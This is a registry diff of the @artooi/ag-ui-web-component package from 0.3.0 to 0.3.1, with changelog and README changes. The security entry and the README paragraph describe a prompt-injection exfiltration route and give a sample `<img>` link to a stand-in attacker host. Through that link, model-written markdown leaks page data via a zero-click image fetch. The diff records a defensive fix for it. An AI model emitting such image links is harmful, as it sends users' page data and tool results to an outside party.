@artooi/ag-ui-web-component 0.3.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,47 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [0.3.1] — 2026-06-10
11
+
12
+ ### Security
13
+
14
+ - **`<img>` is stripped from rendered assistant markdown by default.** A
15
+ model-controlled `<img src="https://attacker/?d=...">` is fetched by the
16
+ browser with no user interaction, which made the sanitizer allowlist a
17
+ zero-click exfiltration channel for prompt-injected page data (page maps,
18
+ state hooks, tool results). Hosts that trust their content can opt back in
19
+ via the new `allowImages` element property (or `renderMarkdown(text,
20
+ { allowImages: true })`); when enabled, DOMPurify still strips event
21
+ handlers and `javascript:` URLs as before.
22
+
23
+ ### Fixed
24
+
25
+ - **Rotated headers now reach the agent stream.** `HttpAgent` is built once
26
+ per conversation with the headers baked into its constructor, so a rotated
27
+ token (CSRF, short-lived JWT) never reached the agent endpoint and long
28
+ sessions 401'd mid-conversation — even though the skills/tools catalog
29
+ fetches already re-read `headers` per request. The element now passes a
30
+ live `getHeaders` callback to the agent factory and `createHttpAgent`'s
31
+ fetch wrapper overlays the fresh values on every request. Custom
32
+ `agentFactory` implementations can read the new optional
33
+ `HttpAgentOptions.getHeaders` to do the same.
34
+ - **Removed the phantom `./style.css` export.** `package.json` advertised
35
+ `@artooi/ag-ui-web-component/style.css` → `dist/ag-ui-web-component.bundle.css`,
36
+ but the build emits no CSS file (styles live as JS strings and are injected
37
+ into the Shadow DOM), so importing the advertised path always failed.
38
+ - **The shared `marked` singleton is no longer mutated.** Module-scope
39
+ `marked.setOptions({ gfm, breaks })` clobbered a host app's `marked`
40
+ configuration whenever the dependency was deduped. Rendering now uses a
41
+ local `Marked` instance; the global keeps its defaults.
42
+
43
+ ### Added
44
+
45
+ - **Auto-prettified tool-card labels.** When no label is found anywhere in
46
+ the chain (`x-summary` → `toolSummaries` → fetched `data-tools-url`
47
+ catalog), cards now fall back to a prettified name (`list_projects` →
48
+ "List projects") instead of the raw identifier. Exported as
49
+ `prettifyToolName`.
50
+
10
51
  ## [0.3.0] — 2026-06-03
11
52
 
12
53
  ### Added
@@ -172,7 +213,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
172
213
  ### Notes
173
214
  - First release — exercising the automated npm OIDC publish pipeline end-to-end.
174
215
 
175
- [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...HEAD
216
+ [Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.1...HEAD
217
+ [0.3.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...v0.3.1
176
218
  [0.3.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...v0.3.0
177
219
  [0.2.2]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.1...v0.2.2
178
220
  [0.2.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.0...v0.2.1
package/README.md CHANGED
@@ -68,7 +68,6 @@ The package ships two builds (see [`package.json` exports](package.json)):
68
68
  | --- | --- | --- |
69
69
  | `@artooi/ag-ui-web-component` | ESM library build; `@ag-ui/*` stay **external** | You bundle the app yourself (Vite, webpack, esbuild) and want to dedupe `@ag-ui/*`. |
70
70
  | `@artooi/ag-ui-web-component/bundle` | ESM bundle with `@ag-ui/*` **inlined**, minified | Drop in via a single `<script type="module">` with no build step. |
71
- | `@artooi/ag-ui-web-component/style.css` | Extracted CSS sidecar | Rarely needed — styles are injected into the Shadow DOM at runtime. |
72
71
 
73
72
  ### The vendored-bundle story
74
73
 
@@ -157,10 +156,15 @@ That's the whole integration: an `endpoint` attribute pointing at your AG-UI ser
157
156
  | `density` | — | CSS-only: `comfortable` (default) / `compact`. |
158
157
  | `placement` | — | CSS-only: `floating` (default) / `bottom-left` / `side` / `full` / `embedded`. |
159
158
 
160
- **Properties** (JS only, not attributes): `headers`, `autoConfirm`, `confirmPredicate`,
161
- `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`, `getPageMap`,
162
- `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`, `toolSummaries`,
163
- plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
159
+ **Properties** (JS only, not attributes): `headers`, `allowImages`, `autoConfirm`,
160
+ `confirmPredicate`, `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`,
161
+ `getPageMap`, `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`,
162
+ `toolSummaries`, plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
163
+
164
+ `allowImages` (default `false`) re-enables `<img>` in rendered assistant markdown.
165
+ It is off by default because a model-controlled image URL is fetched by the browser
166
+ with no user interaction — a zero-click exfiltration channel for prompt-injected
167
+ page data. Enable only when the content source is trusted.
164
168
 
165
169
  `toolSummaries` is a `Record<string, string>` mapping tool name → a friendly card
166
170
  label, used when a tool has no `x-summary` in its own schema. Built-in and client tools